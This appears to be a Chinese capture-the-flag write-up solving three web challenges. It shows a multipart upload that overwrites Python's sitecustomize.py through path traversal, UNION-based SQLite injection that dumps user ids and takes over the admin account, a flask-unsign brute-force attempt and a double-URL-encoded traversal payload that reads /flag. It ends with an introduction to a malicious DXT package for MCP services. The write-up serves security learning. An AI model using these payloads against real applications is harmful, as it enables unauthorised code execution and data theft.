简单代码审计

📅 2026/6/24 2:10:09
简单代码审计
file request.files[file] # 从请求参数或文件名获取保存路径 filename request.form.get(filename) or file.filename # 路径穿越漏洞 save_path os.path.join(UPLOAD_FOLDER, filename) # 创建目录 save_dir os.path.dirname(save_path)filename可控通过request.form.get(filename)os.path.join可能存在路径穿越考虑覆盖sitecustomize.py我们可以通过一段命令查看路径import site import sys print(site:, site.getsitepackages())#存放第三方库的位置 print(sys.path:, sys.path)#加载模块的路径列表 #回显 #site: [/usr/local/lib/python3.10/site-packages] #sys.path: [/app, /usr/local/lib/python310.zip, /usr/local/lib/python3.10, /usr/local/lib/python3.10/lib-dynload, /usr/local/lib/python3.10/site-packages]或者ai说还有一个规则Linux 中Python 的第三方包目录永远是这个格式/usr/local/lib/pythonX.Y/site-packages/X.Y大版本号只取前两位3.10.19 → 3.10创建恶意sitecustomize.py并上传import os print(open(/flag).read())------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb Content-Disposition: form-data; namefile; filename1.py Content-Type: image/jpeg import os print(open(/flag).read()) ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb Content-Disposition: form-data; namefilename ../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb-- #回显 #成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py然后执行任意文件就拿到flag了同样的除了sitecustomize.py我们还可以用usercustomize.py但是要注意路径不一样import site print(site.getusersitepackages()) #回显 #/home/ctf/.local/lib/python3.10/site-packages其余步骤与前者相同Broken Trust题目某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。神通广大的CTFer是否能发现逻辑缺陷拿到敏感文件呢解注册拿uid登录发现有特定的工具但是Only users with the admin role can access the backup interface.发现cooki中有sessioneyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0尝试爆破flask-unsign --unsign --cookie eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0 --wordlist E:\字典\flask_secrets.txt失败源代码提取不到什么信息抓包探索一下功能发现Refresh Session Data功能会把uid POST给/api/profile而我们知道profile一般和用户配置文件有关并且返回内容是我们注册时的名称可能有查询功能考虑下sql尝试在UID参数中添加单引号{uid:95966c24a243402595d6021290558a79} 回显 {details:unrecognized token: \95966c24a243402595d6021290558a79\,error:Database error}提到了database error数据库错误测试回显{uid:95966c24a243402595d6021290558a79 union select 1,2,3 --} 回显 {role:3,uid:1,username:2}尝试不同数据库的获取版本的语句{uid:95966c24a243402595d6021290558a79 union select sqlite_version(),2,3-- -} 回显 {role:3,uid:3.34.1,username:2}确定是sqlite爆数据库内容{uid:95966c24a243402595d6021290558a79 union select 1,2,(select group_concat(uid) from users)--} 回显 {role:72adb8bc58dc4028bc694124095b111a,95966c24a243402595d6021290558a79,uid:1,username:2}我们的uid是95966...另一个应该就是admin了拿uid去登录admin专属工具是一个任意文件读取/api/admin?actionbackupfileconfig.json我们尝试路径遍历....读不到flag猜测有过滤尝试双重url编码双写../也可以../../../flag %252e%252e%252f%252e%252e%252f%252e%252e%252f%2566%256c%2561%2567拿到flagDXT前置知识什么是DXT文件DXT是一种用于打包和分发MCPModel Context Protocol服务的文件格式。DXT文件结构DXT文件本质上是一个ZIP压缩包包含evil.dxt (ZIP文件) ├── manifest.json # 配置文件 └── dummy.txt # 占位文件